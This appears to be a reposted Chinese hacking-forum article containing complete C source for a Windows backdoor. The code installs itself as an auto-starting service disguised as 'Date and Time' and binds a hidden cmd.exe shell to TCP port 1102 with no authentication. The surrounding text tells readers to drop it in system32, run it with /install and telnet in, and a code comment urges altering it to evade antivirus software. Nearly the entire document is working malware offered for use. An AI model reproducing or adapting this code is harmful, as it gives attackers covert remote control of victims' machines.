（比如c:\\winnt\\system32）中，记得加上/install参数，以后telnet到1102口就可以了。
如果要改的话（最好是改一下），把那个BindCmd2Port函数整个改掉吧，我都记不得是哪里paste过来的了。
在Windows2000 Pro(???)正常(?)运行。
/*
This program creates a service which binds a
cmd.exe to port 1102(can be easily defined by
yourself). Try to modify it to escape from the
anti-virus software.
Try not paste the paste-up elsewhere.
by N.E.V.E.R@SEU
*/
#include \"windows.h\"
#include \"stdio.h\"
#pragma comment (lib, \"WS2_32.lib\")
//Global Variables
int port=1102;
//Listening port, 1 ~ 65535 as you like
char ServicesName[255]=\"Date and Time\";
//Service name, name it Bill Gate\''s Backdoor?
char ServicesDisplayName[255]=\"Date and Time\";
//Service display name
HANDLE hTerminateEvent = NULL;
SERVICE_STATUS_HANDLE hServiceStatus;
BOOL bPauseService = FALSE;
BOOL bRunningService = FALSE;
HANDLE hThread = NULL;
DWORD BindCmd2Port(LPVOID);
BOOL SendStatusToSCM(DWORD, DWORD, DWORD, DWORD, DWORD);
BOOL InitService();
VOID Handler (DWORD);
VOID terminate(DWORD);
VOID ServiceMain(DWORD, LPTSTR*);
void main(int argc, char* argv[])
{
if(argc==2&&!strcmp(argv[1],\"/install\"))
{
char binaryPathName[_MAX_PATH];
char tmp[255]=\"net start \\\"\";
strcat(tmp,ServicesName);
strcat(tmp,\"\\\"\");
GetModuleFileName(NULL,binaryPathName,_MAX_PATH);
SC_HANDLE s = OpenSCManager(0, 0, SC_MANAGER_CREATE_SERVICE);
SC_HANDLE hNewService = CreateService(s, ServicesName, ServicesDisplayName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
binaryPathName, NULL, NULL, NULL, NULL, NULL);
if(!hNewService)
printf(\"Error Creating Services...\");
else
WinExec(tmp,0);
Sleep(4000);
CloseServiceHandle(hNewService);
CloseServiceHandle(s);
return;
}
SERVICE_TABLE_ENTRY serviceTable[] =
{
{ ServicesName, (LPSERVICE_MAIN_FUNCTION) ServiceMain},
{ NULL, NULL }
};
if(!StartServiceCtrlDispatcher(serviceTable))
{
printf(\"Failed at StartServiceCtrlDispatcher..\\n\");
printf(\"or you run this .exe directly? Try \\n %s /install\",argv[0]);
return;
}
}
DWORD BindCmd2Port(LPVOID lp)
{
char cmdLine[] = \"cmd.exe\";
SOCKET s=INVALID_SOCKET;
WSADATA WSAData;
int ret;
char Buff[2048];
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
unsigned long lBytesRead;
SECURITY_ATTRIBUTES sa;
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
return 0;
if((s=socket(AF_INET, SOCK_STREAM, 0))==INVALID_SOCKET)
{
closesocket(s);
WSACleanup();
return 0;
}
sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
addr.sin_port = htons(port);
if(bind(s,(sockaddr*)&addr,sizeof(addr))==SOCKET_ERROR)
return 0;
if(listen(s,1)==SOCKET_ERROR)
return 0;
int temp=sizeof(addr);
while(1){
s=accept(s,(sockaddr*)&addr,&temp);
sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;
CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
STARTUPINFO siinfo;
PROCESS_INFORMATION ProcessInformation;
ZeroMemory(&siinfo,sizeof(siinfo));
siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
siinfo.wShowWindow = SW_HIDE;
siinfo.hStdInput = hReadPipe2;
siinfo.hStdOutput = siinfo.hStdError = hWritePipe1;
CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&siinfo,
&ProcessInformation);
while(1)
{
Sleep(100);
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(!lBytesRead)
{
lBytesRead = recv(s,Buff,1024,0);
if(lBytesRead <= 0) break;
ret = WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(lBytesRead >= 4 && Buff[0]==\''e\'' && Buff[1]==\''x\'' && Buff[2]==
\''i\'' && Buff[3]==\''t\'')
{
closesocket(s);
return 1;
}
if(!ret) break;
}
else
{
ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret = send(s,Buff,lBytesRead,0);
if(ret <= 0) break;
}
}
}
closesocket(s);
WSACleanup();
return 1;
}
VOID terminate(DWORD error)
{
if (hTerminateEvent)
CloseHandle(hTerminateEvent);
if (hServiceStatus)
SendStatusToSCM(SERVICE_STOPPED, error,0, 0, 0);
if (hThread)
CloseHandle(hThread);
}
VOID ServiceMain(DWORD argc, LPTSTR *argv)
{
hServiceStatus = RegisterServiceCtrlHandler(
ServicesName, (LPHANDLER_FUNCTION)Handler);
if(!hServiceStatus)
{
terminate(GetLastError());
return;
}
if(!SendStatusToSCM(SERVICE_START_PENDING, NO_ERROR, 0, 1, 5000))
{
terminate(GetLastError());
return;
}
hTerminateEvent = CreateEvent (0, TRUE, FALSE, 0);
if(!hTerminateEvent)
{
terminate(GetLastError());
return;
}
if(!SendStatusToSCM(SERVICE_START_PENDING, NO_ERROR, 0, 2, 1000))
{
terminate(GetLastError());
return;
}
if(!SendStatusToSCM(SERVICE_START_PENDING, NO_ERROR, 0, 3, 5000))
{
terminate(GetLastError());
return;
}
if (!InitService())
{
terminate(GetLastError());
return;
}
if (!SendStatusToSCM(SERVICE_RUNNING, NO_ERROR, 0, 0, 0))
{
terminate(GetLastError());
return;
}
WaitForSingleObject (hTerminateEvent, INFINITE);
terminate(0);
}
BOOL SendStatusToSCM( DWORD dwCurrentState,
DWORD dwWin32ExitCode,
DWORD dwServiceSpecificExitCode,
DWORD dwCheckPoint,
DWORD dwWaitHint)
{
SERVICE_STATUS serviceStatus;
serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
serviceStatus.dwCurrentState = dwCurrentState;
if (dwCurrentState == SERVICE_START_PENDING)
serviceStatus.dwControlsAccepted = 0;
else
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP |
SERVICE_ACCEPT_PAUSE_CONTINUE |
SERVICE_ACCEPT_SHUTDOWN;
if (dwServiceSpecificExitCode == 0)
serviceStatus.dwWin32ExitCode = dwWin32ExitCode;
else
serviceStatus.dwWin32ExitCode = ERROR_SERVICE_SPECIFIC_ERROR;
serviceStatus.dwServiceSpecificExitCode =dwServiceSpecificExitCode;
serviceStatus.dwCheckPoint = dwCheckPoint;
serviceStatus.dwWaitHint = dwWaitHint;
return SetServiceStatus (hServiceStatus, &serviceStatus);
}
BOOL InitService()
{
DWORD id;
hThread = CreateThread(0, 0,(LPTHREAD_START_ROUTINE) BindCmd2Port,0, 0, &id);
if (hThread==0)
return FALSE;
else
{
bRunningService = TRUE;
return TRUE;
}
}
VOID Handler (DWORD controlCode)
{
DWORD currentState = 0;
BOOL success;
switch(controlCode)
{
case SERVICE_CONTROL_STOP:
success = SendStatusToSCM(SERVICE_STOP_PENDING,NO_ERROR, 0, 1, 5000);
bRunningService=FALSE;
SetEvent(hTerminateEvent);
return;
case SERVICE_CONTROL_PAUSE:
if (bRunningService && !bPauseService)
{
success = SendStatusToSCM(SERVICE_PAUSE_PENDING, NO_ERROR, 0, 1, 1000);
bPauseService = TRUE;
SuspendThread(hThread);
currentState = SERVICE_PAUSED;
}
break;
case SERVICE_CONTROL_CONTINUE:
if (bRunningService && bPauseService)
{
success = SendStatusToSCM(SERVICE_CONTINUE_PENDING, NO_ERROR, 0, 1, 1000);
bPauseService=FALSE;
ResumeThread(hThread);
currentState = SERVICE_RUNNING;
}
break;
case SERVICE_CONTROL_INTERROGATE:
break;
case SERVICE_CONTROL_SHUTDOWN:
return;
default:
break;
}
SendStatusToSCM(currentState, NO_ERROR, 0, 0, 0);
}
文章转载地址：http://www.cnpaf.net/Class/hack/05121820345174020980.htm
